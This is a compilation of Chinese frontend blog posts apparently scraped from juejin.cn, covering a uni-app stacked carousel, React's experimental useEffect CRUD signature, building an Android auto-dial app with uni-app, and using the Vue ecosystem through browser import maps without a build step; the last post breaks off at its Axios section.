微信小程序项目时接到一个需求,需要实现一个类似上图的轮播图效果,问我有没有什么好的实现方案,他也和我说了他的方案,比如让产品直接把图片切成两部分再分别进行上传,但是我觉得这个方案不够灵活,当每次修改banner
图片时,都得让产品把图切好再分别上传。下文将探究一个更好的实现思路。
需求分析
由文章顶部的gif
动图,我们可以看出每次执行轮播动画时,只会裁剪图片的中间部分进行滚动,图片的其余部分保持不变,等待轮播动画执行完成后,再淡化背景图片切换到下一张轮播图。
从中可得出两点关键信息:
1.两种相同图片堆叠在一起,一张背景图(大图),一张轮播图(小图);
2.需要对图片中间部分进行裁剪,并且定位到刚好能够和背景图重合得区域;
根据以上得出的信息,我们还需解决两个疑问:
1.如何对图片进行裁剪?
2.图片裁剪后如何定位和背景图重合的区域?
前端裁剪图片可以使用canvans
,但是兼容性不好,太麻烦!还有没有好一点的方法呢?当然有,参考css
中的雪碧图进行图片裁剪显示!!但还是有些麻烦,还有没有简单的方式呢?有,那就是使用css
属性overflow: hidden;
进行图片裁剪,下文也主要是讲这个方案。
开始实现
vi-swiper.vue
<template>
<view class="v-banner" :style="[boxStyle]">
<swiper class="v-swiper" autoplay indicator-dots circular
@animationfinish="onAnimationfinish"
>
<swiper-item class="v-swiperi-tem" v-for="(url,index) in list" :key="index">
<image class="v-img" :src="url" mode="scaleToFill"></image>
</swiper-item>
</swiper>
</view>
</template>
<script>
export default {
props: {
// 当前索引
value: {
type: Number,
default: 0
},
// 轮播图列表
list: {
type: Array,
default: () => []
}
},
computed: {
boxStyle() {
return {
backgroundImage: `url(${this.list[this.value]})`,
// 开启background-image转场动画
transition: '1s background-image'
}
}
},
methods: {
// 轮播图动画结束后更新底部更新图索引
onAnimationfinish(e) {
this.$emit('input', e.detail.current)
}
}
}
</script>
<style lang="scss">
/*sass变量,用于动态计算*/
$swiperWidth: 650rpx;
$swiperHeight: 350rpx;
$verticalPadding: 60rpx;
$horizontalPadding: 50rpx;
$imgWidth: $swiperWidth + $horizontalPadding * 2;
$imgHeight: $swiperHeight + $horizontalPadding * 2;
.v-banner {
/* 因为需要根据内边距动态调节背景图宽高,所以设为行内块 */
display: inline-block;
// 背景图铺满容器
background-size: 100% 100%;
padding: $verticalPadding $horizontalPadding;
.v-swiper {
height: $swiperHeight;
width: $swiperWidth;
// 裁剪图片
overflow: hidden;
.v-swiperi-tem {
.v-img {
width: $imgWidth;
height: $imgHeight;
}
}
}
}
</style>
以上代码主要实现思路是让底部背景图大小和轮播图大小相同使两种重合,尺寸相等才能重合。swiper
轮播图容器组件固定宽高,使用overflow: hidden;
来裁剪内部图片, 然后给底部背景图容器使用padding
内边距来撑开容器,达到两种图片堆叠的效果;图片转场通过transition
设置动画。
以上组件页面显示效果如下:
发现两张图片还没有重合在一起,原因是两张图片虽然大小一致了,但是位置不对,如下图所示:
那么由上图描绘的信息可知,想要两张图重合,那么需要把轮播图分别向上和向左移动对应的内边距距离即可,我们可以通过给轮播图设置负的外边距实现
,样式如下:
.v-img {
...
// 使两张图片重合
margin-top: -$verticalPadding;
margin-left: -$horizontalPadding;
}
效果如下图所示:
到这我们实现了图片的裁剪和重合,已经实现了最终效果。完整的代码会在文章结尾附上。
另外,我已经把这个组件发布到了uniapp插件市场
,并且做了相应封装,可灵活定制轮播图大小及相关样式,感兴趣的可以点击这里:
vi-swiper轮播图,跳转到文档查阅源码或使用。
总结
这个堆叠轮播图效果实现起来不难,主要是要找对思路,一句话概括就是两张大小相等的图片进行重合,轮播图容器对图片进行裁剪。
完整代码
vi-swiper.vue
<template>
<view class="v-banner" :style="[boxStyle]">
<swiper class="v-swiper" autoplay indicator-dots circular
@animationfinish="onAnimationfinish"
>
<swiper-item class="v-swiperi-tem" v-for="(url,index) in list" :key="index">
<image class="v-img" :src="url" mode="scaleToFill"></image>
</swiper-item>
</swiper>
</view>
</template>
<script>
export default {
props: {
// 当前索引
value: {
type: Number,
default: 0
},
// 轮播图列表
list: {
type: Array,
default: () => []
}
},
computed: {
boxStyle() {
return {
backgroundImage: `url(${this.list[this.value]})`,
// 开启background-image转场动画
transition: '1s background-image'
}
}
},
methods: {
// 轮播图动画结束后更新底部更新图索引
onAnimationfinish(e) {
this.$emit('input', e.detail.current)
}
}
}
</script>
<style lang="scss">
/*sass变量,用于动态计算*/
$swiperWidth: 650rpx;
$swiperHeight: 350rpx;
$verticalPadding: 60rpx;
$horizontalPadding: 50rpx;
$imgWidth: $swiperWidth + $horizontalPadding * 2;
$imgHeight: $swiperHeight + $horizontalPadding * 2;
.v-banner {
/* 因为需要根据内边距动态调节背景图宽高,所以设为行内块 */
display: inline-block;
// 背景图铺满容器
background-size: 100% 100%;
padding: $verticalPadding $horizontalPadding;
.v-swiper {
height: $swiperHeight;
width: $swiperWidth;
// 裁剪图片
overflow: hidden;
.v-swiperi-tem {
.v-img {
width: $imgWidth;
height: $imgHeight;
margin-top: -$verticalPadding;
margin-left: -$horizontalPadding;
}
}
}
}
</style>
来源:juejin.cn/post/7377245069474021412
React:我做出了一个违背祖训的决定!
React 的 useEffect
,大家都熟吧?这玩意儿就像个万金油,啥副作用都能往里塞:取数据、搞订阅、手动操作 DOM……反正渲染完了,它帮你擦屁股。它帮你擦屁股。
但是!React 团队最近搞了个大新闻,他们居然要对 useEffect
动刀子了!而且,这次的改动,用他们的话说,简直是——“违背祖训”!“违背祖训”!
useEffect
要变身?实验性 CRUD 支持来了!
新的 useEffect
签名,整合了以前一个实验性的 Hook useResourceEffect
的功能,现在长这样:
function useEffect(
create: (() => (() => void) | void) | (() => {...} | void | null),
createDeps: Array<mixed> | void | null,
update?: ((resource: {...} | void | null) => void) | void,
updateDeps?: Array<mixed> | void | null,
destroy?: ((resource: {...} | void | null) => void) | void,
): void
是不是看得一脸懵逼?别慌,我来给你翻译翻译。
以前的 useEffect
,创建和清理都挤在一个函数里,跟两口子似的,难舍难分。举个栗子:
useEffect(() => {
// 创建阶段:发起请求
const controller = new AbortController();
fetch('/api/data', { signal: controller.signal })
.then(response => response.json())
.then(data => setData(data));
// 清理阶段:取消请求
return () => {
controller.abort();
};
}, [someDependency]);
看到了吧?创建(发起请求)和清理(取消请求)都得写在一个函数里。
现在好了,React 团队直接把它们拆散了!新签名里,创建、更新、销毁,各司其职,清清楚楚:
create
: 专门用来造东西(比如,发个请求,整个订阅)。createDeps
:create
的跟屁虫,它们一变,create
就得重新执行。update
(可选): 想更新?找它!它会拿着create
造出来的东西,给你更新。updateDeps
(可选):update
的小弟,它们一变,update
就得带着老东西,重新来过。destroy
: 可选的销毁时候的回调。
“祖宗之法不可变”?React:我就变!
自从 Hook 在 2016 年推出,到现在已经九年了!九年啊!“组合优于继承”、“函数式编程”,这些 React 的“祖训”,各路大神、大V,哪个没给你讲过几百遍?哪个没给你讲过几百遍?
useEffect
把创建和清理揉在一起,也算是“组合”的一种体现,深入人心。可现在呢?React 团队居然亲手把它拆了!这……这简直是自己打自己的脸啊!
不过,话说回来,这种拆分,对于那些复杂的副作用,确实更清晰、更好管理。以前,你可能得在一个 useEffect
里写一堆 if...else
,现在,你可以把它们放到不同的阶段,代码更清爽,逻辑更分明。
注意!前方高能预警!
这个 CRUD 功能,现在还是个“试验品”,React 团队还没打算把它放出来。你要是头铁,非要试试,记得先去把 feature flag 打开。不然,你会看到这个:
useEffect CRUD overload is not enabled in this build of React.
重要的事情说三遍:这都是猜的!猜的!猜的!猜的!猜的!猜的!
现在,关于这个新特性,React 团队还没放出任何官方文档或者 RFC。所以,这篇文章,你看看就好,别太当真。它就是基于代码瞎猜的。等官方消息出来了,咱们再好好研究!
来源:juejin.cn/post/7470819965014474771
uni-app初体验,如何实现一个外呼APP
起因
2024年3月31日,我被公司裁员了。
2024年4月1日,果断踏上了回家的路,决定先休息一个星期。晚上回到了郑州,先跟一起被裁的同事在郑州小聚一下,聊聊后面的打算。第二天下午回家。
2024年4月8日,知道现在的大环境不好,不敢错过“金三银四”,赶忙回上海开始找工作。结果环境比预想的还要差啊,以前简历放开就有人找,现在每天投个几十封都是石沉大海。。。
2024年4月15日,有个好朋友找我,想让我给他们公司开发一个“拨号APP”(主要原因其实是这个好哥们想让我多个赚钱门路😌),主要的功能就是在他们的系统上点击一个“拨号”按钮,然后员工的工作手机上就自动拨打这个号码。
可行性分析
涉及到的修改:
- 系统前后端
- 拨号功能的APP
拿到这个需求之后,我并没有直接拒绝或者同意,而是先让他把他公司那边的的源代码发我了一份,大致看了一下使用的框架,然后找一些后端的朋友看有没人有人一起接这个单子;而我自己则是要先看下能否实现APP的功能(因为我以前从来没有做过APP!!!)。
我们各自看过自己的东西,然后又沟通了一番简单的实现过程后达成了一致,搞!
因为我这边之前的技术栈一直是VUE,所以决定使用uni-app实现,主要还是因为它的上手难度会低很多。
第一版
需求分析
虽说主体的功能是拨号,但其实是隐含很多辅助性需求的,比如拨号日志、通时通次统计、通话录音、录音上传、后台运行,另外除了这些外还有额外的例如权限校验、权限引导、获取手机号、获取拨号状态等功能需要实现。
但是第一次预算给的并不高,要把这些全部实现显然不可能。因此只能简化实现功能实现。
- 拨号APP
- 权限校验
- 实现部分(拨号、录音、文件读写)
- ❌权限引导
- 查询当前手机号
- 直接使用input表单,由用户输入
- 查询当前手机号的拨号任务
- 因为后端没有socket,使用setTimeout模拟轮询实现。
- 拨号、录音、监测拨号状态
- 根据官网API和一些安卓原生实现
- 更新任务状态
- 告诉后端拨号完成
- ❌通话录音上传
- ❌通话日志上传
- ❌本地通时通次统计
- 程序运行日志
- 其他
- 增加开始工作、开启录音的状态切换
- 兼容性,只兼容安卓手机即可
- 权限校验
基础设计
一个input框来输入用户手机号,一个开始工作的switch,一个开启录音的切换。用户输入手机号,点击开始工作后开启轮询,轮询到拨号任务后就拨号同时录音,同时监听拨号状态,当挂断后结束录音、更新任务状态,并开启新一轮的轮询。
开干
虽然本人从未开发过APP,但本着撸起袖子就是干的原则,直接打开了uni-app的官网就准备开怼。
1、下载 HbuilderX。
2、新建项目,直接选择了默认模板。
3、清空 Hello页面,修改文件名,配置路由。
4、在vue文件里写主要的功能实现,并增加 Http.js
、Record.js
、PhoneCall.js
、Power.js
来实现对应的模块功能。
⚠️关于测试和打包
运行测试
在 HbuilderX 中点击“运行-运行到手机或模拟器-运行到Android APP基座”会打开一个界面,让你选择运行到那个设备。这是你有两种选择:
- 把你手机通过USB与电脑连接,然后刷新列表就可以直接运行了。
- 很遗憾,可能是苹果电脑与安卓手机的原因,插上后检测不出设备😭。。。
- 安装Android Studio,然后通过运行内置的模拟器来供代码运行测试。
- 这种很麻烦,要下载很久,且感觉测试效果并不好,最好还是用windows电脑连接手机的方法测试。
关于自定义基座和标准基座的差别,如果你没有买插件的话,直接使用基准插座就好。如果你要使用自定义基座,就首先要点击上图中的制作自定义基座,然后再切换到自定义基座执行。
但是不知道为什么,我这里一直显示安装自定义基座失败。。。
打包测试
除了以上运行测试的方法外,你还有一种更粗暴的测试方法,那就是打包成APP直接在手机上安装测试。
点击“发行-原生APP 云打包”,会生成一个APK文件,然后就可以发送到手机上安装测试。不过每天打包的次数有限,超过次数需要购买额外的打包服务或者等第二天打包。
我最终就是这样搞得,真的我哭死,我可能就是盲调的命,好多项目都是盲调的。
另外,在打包之前我们首先要配置manifest.json
,里面包含了APP的很多信息。比较重要的一个是AppId,一个是App权限配置。参考uni-app 权限配置、Android官方权限常量文档。以下是拨号所需的一些权限:
// 录制音频
<uses-permission android:name="android.permission.RECORD_AUDIO" />
// 修改音频设置
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
// 照相机
<uses-permission android:name="android.permission.CAMERA" />
// 写入外部存储
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
// 读取外部存储
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
// 读取电话号码
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
// 拨打电话
<uses-permission android:name="android.permission.CALL_PHONE" />
// 呼叫特权
<uses-permission android:name="android.permission.CALL_PRIVILEGED" />
// 通话状态
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
// 读取拨号日志
<uses-permission android:name="android.permission.READ_CALL_LOG" />
// 写入拨号日志
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
// 读取联系人
<uses-permission android:name="android.permission.READ_CONTACTS" />
// 写入联系人
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
// 读取SMS?
<uses-permission android:name="android.permission.READ_SMS" />
// 写入设置
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
// 唤醒锁定?
<uses-permission android:name="android.permission.WAKE_LOCK" />
// 系统告警窗口?
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
// 接受完整的引导?
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
⚠️权限配置这个搞了很长时间,即便现在有些权限还是不太清楚,也不知道是不是有哪些权限没有配置上。。。
⚠️权限校验
1、安卓 1
好像除了这样的写法还可以写"scope.record"
或者permission.CALL_PHONE
。
permision.requestAndroidPermission("android.permission.CALL_PHONE").then(res => {
// 1 获得权限 2 本次拒绝 -1 永久拒绝
});
2、安卓 2
plus.android.requestPermissions(["android.permission.CALL_PHONE"], e => {
// e.granted 获得权限
// e.deniedPresent 本次拒绝
// e.deniedAlways 永久拒绝
});
3、uni-app
这个我没测试,AI给的,我没有用这种方法。有一说一,百度AI做的不咋地。
// 检查权限
uni.hasPermission({
permission: 'makePhoneCall',
success() {
console.log('已经获得拨号权限');
},
fail() {
// 示例:请求权限
uni.authorize({
scope: 'scope.makePhoneCall',
success() {
console.log('已经获得授权');
},
fail() {
console.log('用户拒绝授权');
// 引导用户到设置中开启权限
uni.showModal({
title: '提示',
content: '请在系统设置中打开拨号权限',
success: function(res) {
if (res.confirm) {
// 引导用户到设置页
uni.openSetting();
}
}
});
}
});
}
});
✅拨号
三种方法都可以实现拨号功能,只要有权限,之所以找了三种是为了实现APP在后台的情况下拨号的目的,做了N多测试,甚至到后面搞了一份原生插件的代码不过插件加载当时没搞懂就放弃了,不过到后面才发现原来后台拨号出现问题的原因不在这里,,具体原因看后面。
另外获取当前设备平台可以使用let platform = uni.getSystemInfoSync().platform;
,我这里只需要兼容固定机型。
1、uni-app API
uni.makePhoneCall({
phoneNumber: phone,
success: () => {
log(`成功拨打电话${phone}`);
},
fail: (err) => {
log(`拨打电话失败! ${err}`);
}
});
2、Android
plus.device.dial(phone, false);
3、Android 原生
写这个的时候有个小插曲,当时已经凌晨了,再加上我没有复制,是一个个单词敲的,结果竟然敲错了一个单词,测了好几遍都没有成功。。。还在想到底哪里错了,后来核对一遍才发现😭,control cv才是王道啊。
// Android
function PhoneCallAndroid(phone) {
if (!plus || !plus.android) return;
// 导入Activity、Intent类
var Intent = plus.android.importClass("android.content.Intent");
var Uri = plus.android.importClass("android.net.Uri");
// 获取主Activity对象的实例
var main = plus.android.runtimeMainActivity();
// 创建Intent
var uri = Uri.parse("tel:" + phone); // 这里可修改电话号码
var call = new Intent("android.intent.action.CALL", uri);
// 调用startActivity方法拨打电话
main.startActivity(call);
}
✅拨号状态查询
第一版用的就是这个获取状态的代码,有三种状态。第二版的时候又换了一种,因为要增加呼入、呼出、挂断、未接等状态的判断。
export function getCallStatus(callback) {
if (!plus || !plus.android) return;
let maintest = plus.android.runtimeMainActivity();
let Contexttest = plus.android.importClass("android.content.Context");
let telephonyManager = plus.android.importClass("android.telephony.TelephonyManager");
let telManager = plus.android.runtimeMainActivity().getSystemService(Contexttest.TELEPHONY_SERVICE);
let receiver = plus.android.implements('io.dcloud.android.content.BroadcastReceiver', {
onReceive: (Contexttest, intent) => {
plus.android.importClass(intent);
let phoneStatus = telManager.getCallState();
callback && callback(phoneStatus);
//电话状态 0->空闲状态 1->振铃状态 2->通话存在
}
});
let IntentFilter = plus.android.importClass("android.content.IntentFilter");
let filter = new IntentFilter();
filter.addAction(telephonyManager.ACTION_PHONE_STATE_CHANGED);
maintest.registerReceiver(receiver, filter);
}
⚠️录音
录音功能这个其实没啥,都是官网的API,无非是简单的处理一些东西。但是这里有一个大坑!
一坑
就是像通话录音这种涉及到的隐私权限很高,正常的这种录音是在通话过程中是不被允许的。
二坑
后来一次偶然的想法,在接通之后再开启录音,发现就可以录音了。
但随之而来的是第二个坑,那就是虽然录音了,但是当播放的时候发现没有任何的声音,还是因为保护隐私的原因,我当时还脱离代码专门试了试手机自带的录音器来在通话时录音,发现也不行。由此也发现uni的录音本身也是用的手机录音器的功能。
三坑
虽然没有声音,但是我还是试了下保存,然后就发现了第三个坑,那就是虽然获取了文件权限,但是现在手机给的读写权限都是在限定内的,录音所在的文件夹是无权访问的。。。
另辟蹊径
其实除了自己手动录音外还可以通过手机自带的通话录音来实现,然后只要手机去读取录音文件并找到对应的那个就可以了。思路是没啥问题,不过因为设置通话录音指引、获取录音文件都有问题,这一版本就没实现。
// 录音
var log = console.log,
recorder = null,
// innerAudioContext = null,
isRecording = false;
export function startRecording(logFun = console.log) {
if (!uni.getRecorderManager || !uni.getRecorderManager()) return logFun('不支持录音!');
log = logFun;
recorder = uni.getRecorderManager();
// innerAudioContext = uni.createInnerAudioContext();
// innerAudioContext.autoplay = true;
recorder.onStart(() => {
isRecording = true;
log(`录音已开始 ${new Date()}`);
});
recorder.onError((err) => {
log(`录音出错:${err}`);
console.log("录音出错:", err);
});
recorder.onInterruptionBegin(() => {
log(`检测到录音被来电中断...`);
});
recorder.onPause(() => {
log(`检测到录音被来电中断后尝试启动录音..`);
recorder.start({
duration: 10 * 60 * 1000,
});
});
recorder.start({
duration: 10 * 60 * 1000,
});
}
export function stopRecording() {
if (!recorder) return
recorder.onStop((res) => {
isRecording = false;
log(`录音已停止! ${new Date()}`); // :${res.tempFilePath}
// 处理录制的音频文件(例如,保存或上传)
// powerCheckSaveRecord(res.tempFilePath);
saveRecording(res.tempFilePath);
});
recorder.stop();
}
export function saveRecording(filePath) {
// 使用uni.saveFile API保存录音文件
log('开始保存录音文件');
uni.saveFile({
tempFilePath: filePath,
success(res) {
// 保存成功后,res.savedFilePath 为保存后的文件路径
log(`录音保存成功:${res.savedFilePath}`);
// 可以将res.savedFilePath保存到你的数据中,或者执行其他保存相关的操作
},
fail(err) {
log(`录音保存失败! ${err}`);
console.error("录音保存失败:", err);
},
});
}
运行日志
为了更好的测试,也为了能实时的看到执行的过程,需要一个日志,我这里就直接渲染了一个倒序的数组,数组中的每一项就是各个函数push的字符串输出。简单处理。。。。嘛。
联调、测试、交工
搞到最后,大概就交了个这么玩意,不过也没有办法,一是自己确实不熟悉APP开发,二是满共就给了两天的工时,中间做了大量的测试代码的工作,时间确实有点紧了。所幸最起码的功能没啥问题,也算是交付了。
第二版
2024年05月7日,老哥又找上我了,想让我们把他们的这套东西再给友商部署一套,顺便把这个APP再改一改,增加上通时通次的统计功能。同时也是谈合作,如果后面有其他的友商想用这套系统,他来谈,我们来实施,达成一个长期合作关系。
我仔细想了想,觉得这是个机会,这块东西的市场需求也一直有,且自己现在失业在家也有时间,就想着把这个简单的功能打磨成一个像样的产品。也算是做一次尝试。
需求分析
- ✅拨号APP
- 登录
- uni-id实现
- 权限校验
- 拨号权限、文件权限、自带通话录音配置
- 权限引导
- 文件权限引导
- 通话录音配置引导
- 获取手机号权限配置引导
- 后台运行权限配置引导
- 当前兼容机型说明
- 拨号
- 获取手机号
- 是否双卡校验
- 直接读取手机卡槽中的手机号码
- 如果用户不会设置权限兼容直接input框输入
- 拨号
- 全局拨号状态监控注册、取消
- 支持呼入、呼出、通话中、来电未接或挂断、去电未接或挂断
- 获取手机号
- 录音
- 读取录音文件列表
- 支持全部或按时间查询
- 播放录音
- ❌上传录音文件到云端
- 读取录音文件列表
- 通时通次统计
- 云端数据根据上面状态监控获取并上传
- 云端另写一套页面
- 本地数据读取本机的通话日志并整理统计
- 支持按时间查询
- 支持呼入、呼出、总计的通话次数、通话时间、接通率、有效率等
- 云端数据根据上面状态监控获取并上传
- 其他
- 优化日志显示形式
- 封装了一个类似聊天框的组件,支持字符串、Html、插槽三种显示模式
- 在上个组件的基础上实现权限校验和权限引导
- 在上两个组件的基础上实现主页面逻辑功能
- 增加了拨号测试、远端连接测试
- 修改了APP名称和图标
- 打包时增加了自有证书
- 优化日志显示形式
- 登录
中间遇到并解决的一些问题
关于框架模板
这次重构我使用了uni中uni-starter + uni-admin 项目模板。整体倒还没啥,这俩配合还挺好的,就只是刚开始不知道还要配置东西一直没有启动起来。
建立完项目之后还要进uniCloud/cloudfunctions/common/uni-config-center/uni-id
配置一个JSON文件来约定用户系统的一些配置。
打包的时候也要在manifest.json
将部分APP模块配置进去。
还搞了挺久的,半天才查出来。。
类聊天组件实现
- 设计
- 每个对话为一个无状态组件
- 一个图标、一个名称、一个白底的展示区域、一个白色三角
- 内容区域通过类型判断如何渲染
- 根据前后两条数据时间差判断是否显示灰色时间
- 参数
- ID、名称、图标、时间、内容、内容类型等
- 样式
- 根据左边右边区分发送接收方,给与不同的类名
- flex布局实现
样式实现这里,我才知道原来APP和H5的展示效果是完全不同的,个别地方需要写两套样式。
关于后台运行
这个是除了录音最让我头疼的问题了,我想了很多实现方案,也查询了很多相关的知识,但依旧没效果。总体来说有以下几种思路。
- 通过寻找某个权限和引导(试图寻找到底是哪个权限控制的)
- 通过不停的访问位置信息
- 通过查找相应的插件、询问GPT、百度查询
- 通过程序切入后台之后,在屏幕上留个悬浮框(参考游戏脚本的做法)
- 通过切入后台后,发送消息实现(没测试)
测试了不知道多少遍,最终在一次无意中,终于发现了如何实现后台拨号,并且在之后看到后台情况下拨号状态异常,然后又查询了应用权限申请记录,也终于知道,归根到底能否后台运行还是权限的问题。
关于通话状态、通话记录中的类型
这个倒还好,就是测试的问题,知道了上面为啥异常的情况下,多做几次测试,就能知道对应的都是什么状态了。
通话状态:呼入振铃、通话中(呼入呼出)、通话挂断(呼入呼出)、来电未接或拒绝、去电未接或拒接。
通话日志:呼入、呼出、未接、语音邮件、拒接
交付
总体上来说还过得去,相比于上次简陋的东西,最起码有了一点APP的样子,基本上该有的功能也基本都已经实现了,美中不足的一点是下面的图标没有找到合适的替换,然后录音上传的功能暂未实现,不过这个也好实现了。
后面的计划
- 把图标改好
- 把录音文件是否已上传、录音上传功能做好
- 把APP的关于页面加上,对接方法、使用方法和视频、问题咨询等等
- 原本通话任务、通时通次这些是放在一个PHP后端的,对接较麻烦。要用云函数再实现一遍,然后对外暴露几个接口,这样任何一个系统都可以对接这个APP,而我也可以通过控制云空间的跨域配置来开放权限
- 把数据留在这边之后,就可以再把uni-admin上加几个页面,并且绑定到阿里云的云函数前端网页托管上去
- 如果有可能的话,上架应用商店,增加上一些广告或者换量联盟之类的东西
- 后台运行时,屏幕上加个悬浮图标,来电时能显示个振铃啥的
- 增加拨号前的校验,对接平台,对于经常拉黑电销的客户号码进行过滤
大致的想法就这些了,如果这个产品能继续卖下去,我就会不断的完善它。
最后
现在的行情真的是不好啊,不知道有没有大哥给个内推的机会,本人大专计算专业、6.5年Vue经验(专精后台管理、监控大屏方向,其他新方向愿意尝试),多个0-1-2项目经验,跨多个领域如人员管理、项目管理、产品设计、软件测试、数据爬虫、NodeJS、流程规范等等方面均有了解,工作稳定不经常跳,求路过的大哥给个内推机会把!
😂被举报标题党了,换个名字。
来源:juejin.cn/post/7368421971384860684
无构建和打包,浏览器直接吃上Vue全家桶?
Vue 是易学易用,性能出色,适用场景丰富的 Web 前端渐进式框架;常用来开发单页面应用。
主流开发方式-编译打包
用脚手架工具 create-vue 可以快速通过 npm create vue@latest
命令 来定制化新建一个 Vite 驱动的 Vue 单页面应用项目。
这是常规的使用 Vue 的方式。当然也可以从 Vite 那边入手。
我们新建一个项目 vue-demo
来试试,选上 Vue-Router 和 Pinia, 其余的不选:
访问 http://localhost:5173/
, 正常打开:
初始化的模板,用上了 Vue-Router,有两个路由, '/'
, '/about'
;那 Pinia 呢?可以看到依赖已经安装了引入了,给了一个 demo 了
我们来用一下 Pinia, 就在about路由组件里面用下吧:
<script setup>
import { useCounterStore } from '@/stores/counter'
import { storeToRefs } from 'pinia'
const store = useCounterStore()
const { count, doubleCount } = storeToRefs(store)
const { increment } = store
</script>
<template>
<div class="about">
<h1>{{ count }}</h1>
<h1>{{ doubleCount }}</h1>
<button @click="increment">+1</button>
</div>
</template>
<style>
@media (min-width: 1024px) {
.about {
min-height: 100vh;
display: flex;
align-items: center;
}
}
</style>
这就是 Vue + Vue-Router + Pinia 全家桶在 打包构建工具 Vite 驱动下的开发方式。
Vite 开发阶段不打包,但会预构建项目的依赖,需要哪个资源会在请求的时候编译,而项目上线则需要打包。
完美对吧!但你有没有注意到,官网除了介绍这种方式,还介绍了 “Using Vue from CDN”:
也就是说,可以 HTML 文件里面直接用上 Vue 的对吧?那我还想要 Vue-Router、 Pinia、Axios、 Element-Plus 呢?怎么全部直接用,而不是通过npm install xxx 在需要构建打包的项目里面用?
如何直接吃上 Vue 全家桶
我们将会从一个 HTML 文件开始,用浏览器原生的 JavaScript modules 来引入 Vue 、引入 Vue-Router,、引入 Pinia、引入 Axios, 并且构建一个类似工程化的目录结构,但不需要打包,JS 是 ES modules 语法;而项目的运行,只需要用npx serve -s
在当前项目目录起一个静态文件服务器,然后浏览器打开即可。
HTML 文件引入 Vue
找个空文件夹,我们新建一个 index.html
:
把 Vue 文档代码复制过来:
<script type="importmap">
{
"imports": {
"vue": "https://unpkg.com/vue@3/dist/vue.esm-browser.js"
}
}
</script>
<div id="app">{{ message }}</div>
<script type="module">
import { createApp, ref } from 'vue'
createApp({
setup() {
const message = ref('Hello Vue!')
return {
message
}
}
}).mount('#app')
</script>
当前目录下执行下npx serve -s
打开看看
没问题。
但是经常写页面的朋友都知道,肯定得拆分组件,不然全写一个页面不好维护,这点官网也给了例子:
照猫画虎,我们拆分一下:
新建 src/app.js
文件,如下内容:
import { ref } from 'vue'
export default {
setup() {
const count = ref(0)
return { count }
},
template: `<div @click="count++">Count is: {{ count }}</div>`
}
然后在 index.html
引入:
<script type="module">
import { createApp, ref } from 'vue'
import App from './src/app.js'
createApp(App).mount('#app')
</script>
刷新下页面看看:
Vue 成功引入并使用了。但还有遗憾,就是app.js
"组件"的 template 部分是字符串,没有高亮,不利于区分:
关于这点,官网也说了,如果你使用 VS Code, 那你可以安装插件 es6-string-html
,用 /*html*/实现高亮:
我们来试试看:
至此,我们可以相对舒服地使用 Vue 进行组件开发了。
HTML 文件引入、Vue 集成 Vue-Router
项目如果有不同的页面,就需要 Vue-Router 了, Vue-Router官网同样有网页直接引入的介绍:
我们来试一下,先在 Import Maps 添加 vue-router
的引入:
然后写个使用 Vue-Router 的demo: 新建两个路由组件:src/view/home.js
, src/view/about.js
, 在 HTML 文件中引入:
src/app.js
作为根组件,放个 RouterLink、RouterView 组件:
然后我们刷新下页面,看看是否正常生效:
很遗憾,没有生效,控制台报错了:
意思是声明的 vue-router 模块,没有导出我们引用到的方法 createRouter
;这说明,Vue-Router 打包的默认文件,并不是默认的 ES Modules 方式,我们得找找对应的构建产物文件才行;
这对比 Vue 的引入,Vue 引入的是构建产物中的 “esm-browser” 后缀的文件:
那么斗胆猜测下,Vue-Router 同样也有 esm 的构建产物,我们引入下该文件,应该就可以了。
但是怎么知道 Vue-Router 的构建产物有哪些?难道去翻官方的构建配置吗?不用,我们找个 npm 项目,然后npm install vue-router
,在 node_mudules/xxx
翻看就知道了。
我们上面正好有个 vue-demo, 使用了 Vue-Router。我们看看:
我们改下 Import Maps 里面 vue-router
的映射:
刷新下页面看看:
还是有报错:
@vue/devtools-api
我们并没有引入,报了这个错,斗胆猜测是 vue-router 中使用的,该模块应该是属于外部模块,我们看看网络里面响应的文件验证下:
确实如此,那么 Import Maps 也补充下引入这个模块,我们先翻看该模块的 npm 包看看,确定下路径:
Import Maps 里面引入:
再刷新下页面试试:
至此,我们成功地在 HTML 文件中引入,在 Vue 中集成了 Vue-Router。
下面我们来看 Pinia 的
但在这之前,我们来整理下现在的目录划分吧。
新建 src/router/index.js
文件,将路由相关的逻辑放到这里:
在index.html
引入 router:
然后type=module
的 script 里面的内容也可以抽离出来到单独的文件里面:
新建 main.js
文件,将内容搬过去并引入:
页面刷新下,正常运行。
HTML 文件引入、Vue 集成 Pinia
有了上面引入 Vue-Router 的经验,我们就知道了,引入其他的库也是相同的套路。我们去之前的脚手架工具生成的项目 vue-demo 的依赖里面翻看一下,Pinia 包的构建产物是如何的,然后在现在的 esm 项目里面引入吧:
我们在项目里面使用一下 Pinia, 在main.js
里面引入 Pinia:
import { createApp, ref } from 'vue'
import App from './src/app.js'
import router from './src/router/index.js'
import { createPinia } from 'pinia'
const app = createApp(App)
app.use(createPinia())
app.use(router)
.mount('#app')
新建 src/stores/useCounterStore.js
文件,填入如下内容:
import { defineStore } from 'pinia'
import { ref, computed } from 'vue'
export default defineStore('counter', () => {
const count = ref(0)
const doubleCount = computed(() => count.value * 2)
const increment = () => {
count.value++
}
return { count, doubleCount, increment }
})
即如下:
之后我们在 src/view/home.js
组件里面使用一下这个 store:
import useCounterStore from "../stores/useCounterStore.js"
import { storeToRefs } from 'pinia'
export default {
setup() {
const store = useCounterStore()
const { count, doubleCount } = storeToRefs(store)
const { increment } = store
return { count, doubleCount, increment }
},
template: /*html*/`<div>
<h1>Home</h1>
<p>{{ count }}</p>
<p>{{ doubleCount }}</p>
<button @click="increment">+1</button>
</div>`
}
我们刷新页面看看,报错了, 缺了一个模块 vue-demi
我们确认一下,在响应的 Pinia 库中确实有对这模块的引入
那么我们也引入一下吧,我们翻看需要的库的文件路径,注意这里的 esm 模块是 .mjs 后缀文件
再刷新看看:
至此,我们就在 HTML 文件中直接引入 Vue, 集成了 Vue-Router、Pinia。
HTML 文件引入 Axios
接下来,我们来看看网络请求库 Axios。
